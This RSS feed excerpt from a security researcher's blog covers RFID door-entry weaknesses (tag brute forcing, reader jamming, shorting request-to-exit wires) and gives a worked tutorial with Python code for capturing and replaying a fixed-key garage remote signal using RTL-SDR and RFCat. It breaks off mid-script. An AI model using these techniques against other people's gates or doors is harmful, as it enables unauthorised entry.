<p><a href="http://andrewmohawk.com/2013/01/27/bypassing-lf-entry-systems/imag0005/" rel="attachment wp-att-649"><img class="size-medium wp-image-649 alignnone" alt="Photobomb" src="http://andrewmohawk.com/wp-content/uploads/2013/01/IMAG0005-179x300.jpg" width="179" height="300" /></a><a href="http://andrewmohawk.com/2013/01/27/bypassing-lf-entry-systems/photopastperson/" rel="attachment wp-att-650"><img class="size-medium wp-image-650 alignleft" alt="PhotoPastPerson" src="http://andrewmohawk.com/wp-content/uploads/2013/01/PhotoPastPerson-300x199.jpg" width="300" height="199" /></a></p>
<p><strong>HIGH RES IMAGE (aka, see for yourself) : </strong><a href="http://andrewmohawk.com/BackgroundShotOfTable.JPG">http://andrewmohawk.com/BackgroundShotOfTable.JPG</a> (5mb)</p>
<p>&nbsp;</p>
<h3><strong>Raw data?</strong> <strong>Sequential numbers?</strong> <strong>Root?</strong></h3>
<p>Besides for the fact that someone could read your cards data I also noticed that a lot of the data is NOT being used. When testing I found that I could put anything in for the version or customer id. This means that the only data that is being used is the 32 bits, which is a rather large space ( 2^32 = 4294967296 ). However because of the problem of this data being human readible in the real world it also means that someone could have a sequential batch of tags (I got one when I ordered 10 tags) which means that I merely need to go up and down numerically from your cards number. The additional impact of this means that I could see a junior employee&#8217;s tag and by brute forcing the tags around it gain access to places where that previous tag wouldn&#8217;t have had access to.</p>
<p>Apart from that it also means someone could stumble upon the &#8216;root&#8217; card, which allows other cards to be added to the system or removed or even to reset the system.</p>
<h3><strong>Denial of Service?</strong></h3>
<p>The readers I tested with were only capable of reading a single tag at a time and placing two tags next to each other meant the interference was too high for the system to get a good read and essentially nothing happened. However the same situation played up when a tag was placed on the outside as well as on the inside of the door (it was separated by a glass wall), essentially what this meant was that I could go to a building where they had access control in and out of the building and use a sticker-type LF RFID tag and stick it underneath the readers and essentially &#8216;lock&#8217; the door since no one could get in or out. Alternatively if there was just one reader that was used from both sides (as commonly installed through doors/building entrance and exits) where  someone needs to &#8216;tag&#8217; out and a malicious person tapes an RFID card/sticker to the outside (presumably that the public can get to) and break the ability for anyone inside to &#8216;tag&#8217; out.</p>
<h3><strong>RTE?</strong></h3>
<p>Of the three low end systems that I looked at all 3 of them included an RTE or Request To Exit cable. Essentially if you needed an RTE where staff can press a button to open the door you simply shorted the green and white ( for all 3 it was these colours for RTE) the door would open. For 2 of the 3 systems you had to enable it with the master code, but 1 of them had it enabled by default, which means that if you could access the wiring you simply need to short green and white to open the door.</p>
<h3><strong>&#8220;Security Data&#8221;</strong></h3>
<p>While the specification mentions security data from the brief analysis I did on the tags there definitely wasn&#8217;t any of that on them :( &#8212; although it most likely got changed by someone who didn&#8217;t understand parity.</p>
<p>&nbsp;</p>
<h2> Solutions?</h2>
<p>The solutions to solving the above problems are relatively simple:</p>
<p>* Remove the numbers from the outside of the cards/fobs<br />
* Make sure you aren&#8217;t getting sequential cards/fobs<br />
* Disable RTE on your doors where possible.</p>
<p>Some of the other problems are a bit harder to solve but should be possible:</p>
<p>* Log all access attempts to check for brute forcing<br />
* If a reader has been busy for a long period of time without a break send someone to go look.</p>
<p>-AM</p>
]]></content:encoded>
			<wfw:commentRss>http://andrewmohawk.com/2013/01/27/bypassing-lf-entry-systems/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>zacon wrap-up!</title>
		<link>http://andrewmohawk.com/2012/12/03/zacon-wrap-up/</link>
		<comments>http://andrewmohawk.com/2012/12/03/zacon-wrap-up/#comments</comments>
		<pubDate>Mon, 03 Dec 2012 08:40:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://andrewmohawk.com/?p=619</guid>
		<description><![CDATA[Hi Guys, I see I haven&#8217;t update this blog in ages, I&#8217;d love to say I didn&#8217;t have enough time, but it was mostly just me being.. well lazy. Zacon IV was on the 27th of October ( http://www.zacon.org.za/about.html ) and was really great, had a super time and met some great people. My talk [...]]]></description>
				<content:encoded><![CDATA[<p>Hi Guys,</p>
<p>I see I haven&#8217;t update this blog in ages, I&#8217;d love to say I didn&#8217;t have enough time, but it was mostly just me being.. well lazy.</p>
<p>Zacon IV was on the 27th of October ( http://www.zacon.org.za/about.html ) and was really great, had a super time and met some great people. My talk covered a bunch of the stuff I did on the blog and essentially these sections:</p>
<p style="padding-left: 30px;"><strong>* Lockpicking (briefly)</strong><br />
<strong>* Magstripes (reading + spoofing)</strong><br />
<strong>* RTLSDR (listening to guards)</strong><br />
<strong>* RFID (proxmark &#8211; bypassing LF EM4x door locks)</strong><br />
<strong>* RFCat (spoofing remotes)</strong></p>
<p>It went relatively well apart from a few small demo problems (such as not being able to spoof a magnetic stripe &#8211; turned the volume down by mistake when I tried to show it! *doh*). The video of the talk can be seen here:</p>
<p><iframe src="http://player.vimeo.com/video/52865794?badge=0" height="281" width="500" allowfullscreen="" frameborder="0"></iframe></p>
<p><a href="http://vimeo.com/52865794">ZaCon4 &#8211; Andrew MacPherson &#8211; 88MPH Digital tricks to bypass Physical security</a> from <a href="http://vimeo.com/zacon">ZaCon</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p><span id="more-619"></span></p>
<p>If you want the slide deck you can grab it from: <a href="http://andrewmohawk.com/zacon-ivy/88MPH-full.pptx" target="_blank">http://andrewmohawk.com/zacon-ivy/88MPH-full.pptx</a> So anyway, there are a few topics that I started writing but got lazy to compliment the talk, but these are what I should cover in the next few articles (I hope):</p>
<p style="padding-left: 30px;"><strong>* Magstripes Part 2: Spoofing</strong><br />
<strong>* Bypassing LF tags</strong></p>
<p>Additionally the badges this year:</p>
<p><img alt="" src="http://andrewmohawk.com/zacon/FatZee/ZACON-attendee-MLS.png" width="250px" /><br />
<img alt="" src="http://andrewmohawk.com/zacon/FatZee/ZACON-organiser-MLS.png" width="250px" /><br />
<img alt="" src="http://andrewmohawk.com/zacon/FatZee/ZACON-speaker-MLS.png" width="250px" /><br />
<img alt="" src="http://andrewmohawk.com/zacon/FatZee/ZACON-volunteer-MLS.png" width="250px" /></p>
<p>And my custom badge for this year:<br />
<img alt="" src="http://andrewmohawk.com/zacon/FatZee/ZACON-CustomBadge-MLS.png" width="250px" /></p>
<p>Additionally if you want to see the other Zacon talks (I recommend the MWR talks &#8211; definitely my favourite!) you can view them at <a href="http://vimeo.com/zacon" target="_blank">http://vimeo.com/zacon</a></p>
<p>So with this post it will hopefully force me to write the others!</p>
<p>-AM</p>
]]></content:encoded>
			<wfw:commentRss>http://andrewmohawk.com/2012/12/03/zacon-wrap-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacking fixed key remotes</title>
		<link>http://andrewmohawk.com/2012/09/06/hacking-fixed-key-remotes/</link>
		<comments>http://andrewmohawk.com/2012/09/06/hacking-fixed-key-remotes/#comments</comments>
		<pubDate>Thu, 06 Sep 2012 00:38:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[RTLSDR]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[HDSDR]]></category>
		<category><![CDATA[OOK]]></category>
		<category><![CDATA[PWM]]></category>
		<category><![CDATA[RFcat]]></category>
		<category><![CDATA[SDR]]></category>

		<guid isPermaLink="false">http://andrewmohawk.com/?p=565</guid>
		<description><![CDATA[Previously I discussed using my RTL-SDR to merely listen for analog audio signals. In this entry I&#8217;ll discuss using it to decode digital signals (this example on fixed remote signals often used for garages / gates ) so that they can be replayed/brute forced with something like the RFCat project (based on TI&#8217;s CC1111EMK module). [...]]]></description>
				<content:encoded><![CDATA[<p><a href="https://andrewmohawk.com/2012/07/15/rtlsdr-my-first-sdr/">Previously I discussed using my RTL-SDR to merely listen for analog audio signals</a>. In this entry I&#8217;ll discuss using it to decode digital signals (this example on fixed remote signals often used for garages / gates ) so that they can be replayed/brute forced with something like the RFCat project (based on TI&#8217;s CC1111EMK module). This has probably been done to death already but I figured since I struggled with it maybe this will help someone else do it a lot quicker (and mostly cause I think its cool).</p>
<h2>Overview</h2>
<p>The basic components are:</p>
<p>* <strong>RTL-SDR</strong> on a windows machine with the HDSDR application installed (really easy to use &#8212; saves me doing hard work)<br />
* <strong>Audio application</strong> to look at demodulated stream (I like the open-source project <a href="http://audacity.sourceforge.net/">Audacity</a> )<br />
* <strong>RFcat</strong> under linux for easy transmission of data &#8211; find more about RFcat at <a href="http://code.google.com/p/rfcat/" target="_blank">http://code.google.com/p/rfcat/</a></p>
<p>Then there are 3 basic steps to a replay/bruteforce attack:</p>
<p>* <strong>Capture Signal:</strong> Figure out what frequency it is on, figure out what modulation is used<br />
* <strong>Decode Captured Signal:</strong> Decode the signal to data you can work with so you can replay it and if possible brute force similar ones<br />
* <strong>Transmit Signal: </strong>Send off your data for epic-winness (okay its not that complex, but it still feels cool)</p>
<h2>Capturing Signal</h2>
<p>I am going to assume at this stage that you have access to the remote (otherwise it may be illegal, I think.. lets just go with that). The easiest thing to do firstly is try and identify your remote, here is my garage remote for the complex that I live in (with many garages all of the same type):</p>
<p style="text-align: center;"><a href="http://andrewmohawk.com/wp-content/uploads/2012/09/remote1.jpg"><img class="size-thumbnail wp-image-570 aligncenter" title="Closed Remote" src="http://andrewmohawk.com/wp-content/uploads/2012/09/remote1-150x150.jpg" alt="Closed Remote" width="150" height="150" /></a></p>
<p style="text-align: center;"><a href="http://andrewmohawk.com/wp-content/uploads/2012/09/remote3.jpg"><img class="size-thumbnail wp-image-572 aligncenter" title="Opened Remote" src="http://andrewmohawk.com/wp-content/uploads/2012/09/remote3-150x150.jpg" alt="Opened Remote" width="150" height="150" /></a></p>
<p style="text-align: center;"><a href="http://andrewmohawk.com/wp-content/uploads/2012/09/remote2.jpg"><img class="size-thumbnail wp-image-571 aligncenter" title="Remote Close up" src="http://andrewmohawk.com/wp-content/uploads/2012/09/remote2-150x150.jpg" alt="Remote Close up" width="150" height="150" /></a></p>
<p style="text-align: center;"><span id="more-565"></span></p>
<p>If you do have access to your remote, and it is labelled as nicely as mine is, a simple google search should get you the information you need. Mine is a &#8220;Sentry Binary One&#8221;, quick search gives you <a href="http://www.martin-electronics.co.za/tx_403_binary1_3.html" target="_blank">http://www.martin-electronics.co.za/tx_403_binary1_3.html</a> which includes a user guide as well as an approval certification, which luckily for us includes that the remote uses AM and OOK modulation as well as that it transmits at 403.55mhz. Epic win! Everything we need is included!</p>
<p>However if you do not have access to the remote (lets say you left it in your friends car who lives with you and your phone is flat and they didn&#8217;t see you standing outside the complex), you can use HDSDR to look for the signal when they open the gate/garage. Most remotes run between 300 and 400 mhz ( <a href="http://en.wikipedia.org/wiki/Garage_door_opener#Remote_control" target="_blank">http://en.wikipedia.org/wiki/Garage_door_opener#Remote_control</a> ) and even with the basic antenna that came with my RTL device I could pick them up from a decent distance:</p>
<p style="text-align: center;"><a href="http://andrewmohawk.com/wp-content/uploads/2012/09/antenna.jpg"><img class="size-medium wp-image-575 aligncenter" title="Default RTL antenna" src="http://andrewmohawk.com/wp-content/uploads/2012/09/antenna-300x225.jpg" alt="Default RTL antenna" width="300" height="225" /></a></p>
<p>Once you have it setup, simply fire up HDSDR and keep it running at the 300-400mhz range (typically around 400 or 433 range), for my remote I centered my HDSDR on 403.7 looking for signal around 403.5Mhz:</p>
<p style="text-align: center;"><a href="http://andrewmohawk.com/wp-content/uploads/2012/09/HDSDR-remote.jpg"><img class="size-medium wp-image-578 aligncenter" title="HDSDR-remote" src="http://andrewmohawk.com/wp-content/uploads/2012/09/HDSDR-remote-300x180.jpg" alt="HDSDR-remote" width="300" height="180" /></a></p>
<p>In the above picture you can see my remote on the left, pulsing as I pushed the button&#8230;You will notice my HDSDR is set to AM modulation (and I believe most remotes will be on this).</p>
<p>So now we have the frequency we need to start looking at the actual signal sent out, HDSDR has the great option to record the Audio in a number of means:</p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2012/09/HDSDR-record.jpg"><img class="alignleft size-thumbnail wp-image-579" style="margin: 15px;" title="HDSDR-record" src="http://andrewmohawk.com/wp-content/uploads/2012/09/HDSDR-record-150x150.jpg" alt="" width="150" height="150" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>* RF (full signal input) &#8211; (all the bandwidth, not modulated)<br />
* IF (non-demodulated reduced RF) &#8211; I honestly have no idea on this<br />
* AF ( demodulated audio ) &#8211; Just the signal we are currently listening to</p>
<p><strong>Note:</strong> quick way to get to this screen is to just right click on the record button.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>So now we want to record the signal, select AF mode on in the record window and press the record button when the signal is transmitting obviously :) Now we have the signal recorded (it will be a .wav file within the output directory).</p>
<p>&nbsp;</p>
<h2>Decoding Captured Signal</h2>
<p>So now we have the .wav output of our demodulated signal (AM demodulated), we can fire up out  our favourite audio editing application and examine the signal, below you can see what mine looks like in audacity:<br />
<a href="http://andrewmohawk.com/wp-content/uploads/2012/09/DemodulatedAMSignal.jpg"><img class="aligncenter size-medium wp-image-582" title="DemodulatedAMSignal" src="http://andrewmohawk.com/wp-content/uploads/2012/09/DemodulatedAMSignal-300x53.jpg" alt="" width="300" height="53" /></a></p>
<p>It should be rather readily apparent where our signal is, so if you zoom into the signal (looks like a series of arrows pointing upwards) there you will see the following: (zooming in audacity is as simply as ctrl + scrolling)<br />
<a href="http://andrewmohawk.com/wp-content/uploads/2012/09/DemodulatedAMSignalZoom.jpg"><img class="aligncenter size-medium wp-image-586" title="DemodulatedAMSignalZoom" src="http://andrewmohawk.com/wp-content/uploads/2012/09/DemodulatedAMSignalZoom-300x53.jpg" alt="" width="300" height="53" /></a></p>
<p>If you have a closer look at the signal you should see that there are essentially two types/bits being sent, one with a longer &#8220;high&#8221; (ironically a 0) and one with a much shorter &#8220;high&#8221; a 1. And if you had to do it in your head you will see that that signal (which is repeated) is: 010010110011 , if you go back to the original image of the gate remote, you will see that the DIP switches are configured to exactly the same binary code.</p>
<p>So now we know that the DIP switches are sending out exactly what they are set to that over AM/OOK (we got that earlier from the PDFs).  At this stage I thought I had everything, but one of the key things I was missing was that this signal was OOK/PWM.</p>
<p>I know it seems very silly now especially after re-reading <a href="http://en.wikipedia.org/wiki/On-off_keying" target="_blank">http://en.wikipedia.org/wiki/On-off_keying</a> but whilst the signal is OOK it ALSO uses PWM or Pulse Width Modulation ( <a href="http://en.wikipedia.org/wiki/Pulse-width_modulation" target="_blank">http://en.wikipedia.org/wiki/Pulse-width_modulation</a> ). PWM essentially just means there is a clocking signal as well, so there is a constant on and off, and if there is a high signal it forms a longer period of the signal staying high.</p>
<p><strong>(I couldn&#8217;t find a nice picture to explain this, so if someone has one please send it to me!)</strong></p>
<p>So now i have the frequency (403.55mhz), the encoding (AM,OOK,PWM) and I have how the signals are generated and I know there are 12 bits. From here I need to start working on spoofing the signal I have or bruteforcing a range. For this particular remote bruteforcing is possible as I have all the information and the keyspace is small, 2^12 = 4096 keys.</p>
<h2>Transmitting the Signal</h2>
<p>During Blackhat 2012 there was a fantastic talk/workshop by At1as ( <a href="https://twitter.com/at1as" target="_blank">https://twitter.com/at1as</a> ) on his RFCat project (<a href="http://atlas.r4780y.com/cgi-bin/atlas/2012/01/30" target="_blank">release post</a>) which is on google code ( <a href="http://code.google.com/p/rfcat/" target="_blank">http://code.google.com/p/rfcat/</a> ). Essentially what this allows is that people who want to play with RF / security researchers / n00bs (yours truely) can quickly and easily both recieve (RX) and transmit (TX) RF data in the &#8220;sub GHz&#8221; ( &lt;1Ghz ) range  with hardware that is not expensive and has a very low barrier to entry to get working. I definitely recommend pulling the PDF of the workshop from <a href="http://code.google.com/p/rfcat/downloads/list" target="_blank">http://code.google.com/p/rfcat/downloads/list</a> as it covers a huge amount of the tool as well as helpful sections on RF in general.</p>
<p>The RFCat project runs on a <a href="http://code.google.com/p/rfcat/wiki/SupportedDongles" target="_blank">number of dongles </a>including the CC1111EMK USB module from Texas Instruments, I bought mine at Blackhat so it came pre-flashed with the firmware, however if you do need to flash the firmware onto yours simple buy one of the dongles ( <a href="http://www.ti.com/tool/cc1111emk868-915" target="_blank">http://www.ti.com/tool/cc1111emk868-915</a> &#8211; $50 ) and you can flash the firmware with a <a href="http://goodfet.sourceforge.net/" target="_blank">goodfet</a>.</p>
<p>Once you have the dongle flashed simple copy the required files and you are good to go. There are two main means of interacting with the libraries:</p>
<p>* <strong>Interactive Python Shell</strong> &#8211; Super useful for debug/testing, a bit much if you want to write something specific (we will get to that later)<br />
* <strong>Python script (including the RFCat libraries)</strong> &#8211; Useful for writing security applications</p>
<p>Lets start with the python script, after installing simply run &#8220;./rfcat -r&#8221; and you should be greeted with a fantastic shell:</p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2012/09/rfcatLoadScreen.png"><img class="aligncenter size-medium wp-image-593" title="rfcatLoadScreen" src="http://andrewmohawk.com/wp-content/uploads/2012/09/rfcatLoadScreen-300x218.png" alt="" width="300" height="218" /></a></p>
<p>&nbsp;</p>
<p>The dialog will give you the basics, but just to go over them: There is a global &#8216;d&#8217; object that is how you will interact with the device, all methods for this object are tab-completable (win!) and the basic methods that you will use are:</p>
<p><strong>d.setFreq(freq)</strong> &#8212; Naturally sets the frequency we want to transmit on, where &#8220;freq&#8221; is that, something like d.setFreq(403492750).<br />
<strong>d.setMdmModulation(modulation)</strong> &#8212; Sets the digital modulation (modulation) mode &#8212; this is also tab completable! My remote is ASK/OOK so I use d.setMdmModulation(MOD_ASK_OOK).<br />
<strong>d.makePktFLEN(length)</strong> &#8212; When using a fixed packet length you can use this to specify the size of the packets, so if I was sending &#8216;\xDE\xAD\xBE\xEF&#8217; it would be d.makePktFLEN(4).<br />
<strong>d.setMdmDRate(baud)</strong> &#8212; This function sets the baudrate or how much data is set at a time, for my remote its about 4800 baud so I use d.setMdmDRate(4800)<br />
<strong>d.setMaxPower()</strong> &#8212; Not entirely sure on this, but I presume it gives the most power output and thus the ability to transmit further<br />
<strong>d.RFxmit(&lt;bytestring&gt;)</strong> &#8212; While the example works with a normal string, for all intents and purposes (thanks Conan!) when dealing with digital its a lot easier to send a bytestring, If I was sending 0xDEADBEEF I would use d.RFxmit(&#8216;\xDE\xAD\xBE\xEF&#8217;)</p>
<p>For my first trick I&#8217;d like to at least see that I am transmitting in roughly the same frequency (garage/gate remotes seem to be less picky about it being exact), so I&#8217;ll fire up HDSDR, press my gate remote a few times to identify where the signal is and then run a series of tests like this:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">d.<span style="color: black;">setFreq</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">403550000</span><span style="color: black;">&#41;</span> <span style="color: #808080; font-style: italic;">#Set my frequency to the gate remote</span>
d.<span style="color: black;">setMdmModulation</span><span style="color: black;">&#40;</span>MOD_ASK_OOK<span style="color: black;">&#41;</span> <span style="color: #808080; font-style: italic;">#Set my modulation to the right mode</span>
d.<span style="color: black;">makePktFLEN</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">4</span><span style="color: black;">&#41;</span> <span style="color: #808080; font-style: italic;">#Set my packetlength to 4 as I am sending 4 bytes</span>
d.<span style="color: black;">setMdmDRate</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">4800</span><span style="color: black;">&#41;</span> <span style="color: #808080; font-style: italic;">#Baudrate</span>
d.<span style="color: black;">setMaxPower</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span> <span style="color: #808080; font-style: italic;">#PowerMuch?</span>
<span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span>,<span style="color: #ff4500;">15</span><span style="color: black;">&#41;</span>:d.<span style="color: black;">RFxmit</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>DE<span style="color: #000099; font-weight: bold;">\x</span>AD<span style="color: #000099; font-weight: bold;">\x</span>BE<span style="color: #000099; font-weight: bold;">\x</span>EF'</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span> <span style="color: #808080; font-style: italic;">#Send this a few times as I want to clearly see my signal</span></pre></div></div>

<p><a href="http://andrewmohawk.com/wp-content/uploads/2012/09/HDSDR-gate-vs-rfcat.jpg"><img class="aligncenter size-medium wp-image-600" title="HDSDR-gate-vs-rfcat" src="http://andrewmohawk.com/wp-content/uploads/2012/09/HDSDR-gate-vs-rfcat-300x240.jpg" alt="" width="300" height="240" /></a></p>
<p>Taking a quick sqwizz at the above HDSDR output you can see that a) My garage remote is not at 403.55 and b) my RFcat is not there either! This is for a number of reasons but primarily because the RTL-SDR that I have isn&#8217;t that precise (you can configure it to get the offset correctly). But in this case I don&#8217;t really need that I merely need to keep changing the frequency until I have both at the same point. Turns out the frequency my RFCat loves for gate remotes is 403492750:</p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2012/09/HDSDR-gate-vs-rfcat2.jpg"><img class="aligncenter size-medium wp-image-601" title="HDSDR-gate-vs-rfcat2" src="http://andrewmohawk.com/wp-content/uploads/2012/09/HDSDR-gate-vs-rfcat2-300x240.jpg" alt="" width="300" height="240" /></a></p>
<p><strong>Sidenote:<br />
</strong>Originally my RFcat had an issue where it wouldn&#8217;t tune to the correct frequency, if you do need to configure it by hand definite download <a href="http://www.ti.com/tool/smartrftm-studio" target="_blank">SmartRF Studio from TI</a> and select the Cc1111 in offline mode, you can then click on expert mode and check &#8216;Register View&#8217; and this will give you listing of all the registers to put the chip into the right mode:</p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2012/09/RFStudio.jpg"><img class="aligncenter size-medium wp-image-602" title="RFStudio" src="http://andrewmohawk.com/wp-content/uploads/2012/09/RFStudio-300x252.jpg" alt="" width="300" height="252" /></a></p>
<p>Once you have all the registers you can configure them within the python interactive shell or use something similar to how the setup900Mhz function works ( <a href="http://code.google.com/p/rfcat/source/browse/rflib/cc1111client.py#1810" target="_blank">http://code.google.com/p/rfcat/source/browse/rflib/cc1111client.py#1810</a> ).</p>
<p><strong>NOTE:</strong> This issue was actually fixed by Michael Ossmann already &#8212; just added it just in case, you can get the latest from the repo!</p>
<p>Alright, so at this stage we have our signal, we know what it is and we know what frequency to use, now we merely need to replay it out to get joy. This is a straight forward replay attack. As I said before if you didn&#8217;t realise it was PWM ontop of it all you can be stuck at this point begging people for help.</p>
<p>However PWM is pretty straight forward, so instead of sending your signal as is you actually want to draw it out, think of taking it and just stretching it. Every 1 becomes 11100 and every 0 becomes 11000, so if the binary we wanted to send out (for example my garage remote) is <strong>0</strong>1<strong>0</strong>0<strong>1</strong>0<strong>1</strong>1<strong>0</strong>0<strong>1</strong>1 it actually becomes <strong>11100</strong>11000<strong>11100</strong>11100<strong>11000</strong>11100<strong>11000</strong>11000<strong>11100</strong>11100<strong>11000</strong>11000.</p>
<p>I think its probably a bit easier explained in code:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">dec_key = <span style="color: #ff4500;">1203</span> <span style="color: #808080; font-style: italic;">#key value for my remote, 010010110011</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Decimal key:&quot;</span>,dec_key
bin_key = bin<span style="color: black;">&#40;</span>dec_key<span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Binary (NON PWM) key:&quot;</span>,bin_key
bin_str_key = <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>bin_key<span style="color: black;">&#41;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span>:<span style="color: black;">&#93;</span> <span style="color: #808080; font-style: italic;"># there must be a better way sire.</span>
pwm_str_key = <span style="color: #483d8b;">&quot;0b11100&quot;</span> <span style="color: #808080; font-style: italic;">#added leading 0</span>
<span style="color: #ff7700;font-weight:bold;">for</span> k <span style="color: #ff7700;font-weight:bold;">in</span> bin_str_key:
        x = <span style="color: #483d8b;">&quot;*&quot;</span>
        <span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span>k == <span style="color: #483d8b;">&quot;0&quot;</span><span style="color: black;">&#41;</span>:
                x = <span style="color: #483d8b;">&quot;11100&quot;</span> <span style="color: #808080; font-style: italic;">#  A zero is encoded as a longer high pulse (high-high-low)</span>
        <span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span>k == <span style="color: #483d8b;">&quot;1&quot;</span><span style="color: black;">&#41;</span>:
                x = <span style="color: #483d8b;">&quot;11000&quot;</span> <span style="color: #808080; font-style: italic;"># and a one is encoded as a shorter high pulse (high-low-low).</span>
        pwm_str_key = pwm_str_key + x
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Binary (PWM) key:&quot;</span>,pwm_str_key
dec_pwm_key = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span>pwm_str_key,<span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span></pre></div></div>

<p>This Outputs to:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">Decimal key: <span style="color: #ff4500;">1203</span>
Binary <span style="color: black;">&#40;</span>NON PWM<span style="color: black;">&#41;</span> key: 0b10010110011
Binary <span style="color: black;">&#40;</span>PWM<span style="color: black;">&#41;</span> key: 0b111001100011100111001100011100110001100011100111001100011000</pre></div></div>

<p>At this stage I could take that binary and convert it to a byte string (\x0E\x63\x9C\xC7\x31\x8E\x73\x18) and send it out with the above example and record it again with HDSDR. So to do this once more I opened RFCat and ran:</p>
<p>d.setFreq(403492750)<br />
d.setMdmModulation(MOD_ASK_OOK)<br />
d.makePktFLEN(8)<br />
d.setMdmDRate(4800)<br />
d.setMaxPower()<br />
for i in range(0,5):d.RFxmit(&#8216;\x0E\x63\x9C\xC7\x31\x8E\x73\x18&#8242;);</p>
<p>Now I had the recording I opened it in Audacity, I also have the original signal so I could compare the two of them: (to get another track in Audacity just use file-&gt;import-&gt;audio)</p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2012/09/rfcat-vs-gate1.jpg"><img class="aligncenter size-medium wp-image-604" title="rfcat-vs-gate1" src="http://andrewmohawk.com/wp-content/uploads/2012/09/rfcat-vs-gate1-300x138.jpg" alt="" width="300" height="138" /></a></p>
<p>As you can see, all&#8217;s not well in paradise at this stage. For starters there is a series of data thats clearly not mine at the beginning and the gate remote seems to be arching upwards whilst my signal is arching downwards.</p>
<p>The first part of the signal is actually the preamble and syncword which for all intents and purposes I equate to something like a packet header that describes what the data will be, its commonly found throughout RF but for the remotes I am looking to spoof is not necessary. Lucky At1as has an option to simply turn this off, so using the same code but adding <em>d.setMdmSyncMode(0) </em>will turn off sync words and preamble. So if you re-record the remote and compare now you will see the following:</p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2012/09/rfcat-vs-gate2.jpg"><img class="aligncenter size-medium wp-image-607" title="rfcat-vs-gate2" src="http://andrewmohawk.com/wp-content/uploads/2012/09/rfcat-vs-gate2-300x172.jpg" alt="" width="300" height="172" /></a></p>
<p>Fantastic! So now we have two signals that are almost correct the only difference is that the original remote signal (bottom) has a leading 0 (not sure where I am missing one) and it starts from a high (1). Michael Ossmann explained this as &#8220;There is a carrier transmitted between each sequence. So the transmitter is never in the off (low) state except during a symbol.&#8221;, and what I had to do for that was simply pad the beginning and the end with &#8216;\xff\xff&#8217;.</p>
<p>So from doing that (for all intents and purposes just using d.makePktFLEN(12) and sending &#8216;\xFF\xFF\x0E\x63\x9C\xC7\x31\x8E\x73\x18\xFF\xFF&#8217;) I now get the following:</p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2012/09/rfcat-vs-gate3.jpg"><img class="aligncenter size-medium wp-image-608" title="rfcat-vs-gate3" src="http://andrewmohawk.com/wp-content/uploads/2012/09/rfcat-vs-gate3-300x153.jpg" alt="" width="300" height="153" /></a></p>
<p>Bazinga! The two signals look the same :) Next was to go down to the garages to attempt to open them with this, first few tries I got absolutely nothing until someone asked how many times I was sending the signal and I said 5 (which seemed okay to me), but it appears I need to send it about 20-25 times before the garage opens. The range on the device was impressive however and I could do it a lot further away than I anticipated (I could open it from the gate of my complex which is around 20m or so to the garage).</p>
<p>So of course I wanted to take this a little further, first being able to simply cook up a python script I could execute to simulate the button press, that came out something like this:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">time</span>
<span style="color: #ff7700;font-weight:bold;">from</span> rflib <span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #66cc66;">*</span>
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">struct</span> <span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #66cc66;">*</span>
d = RfCat<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
keyLen = <span style="color: #ff4500;">0</span>
baudRate = <span style="color: #ff4500;">4800</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> ConfigureD<span style="color: black;">&#40;</span>d<span style="color: black;">&#41;</span>:
        d.<span style="color: black;">setMdmModulation</span><span style="color: black;">&#40;</span>MOD_ASK_OOK<span style="color: black;">&#41;</span>
        d.<span style="color: black;">setFreq</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">403493000</span><span style="color: black;">&#41;</span>
        d.<span style="color: black;">makePktFLEN</span><span style="color: black;">&#40;</span>keyLen<span style="color: black;">&#41;</span>
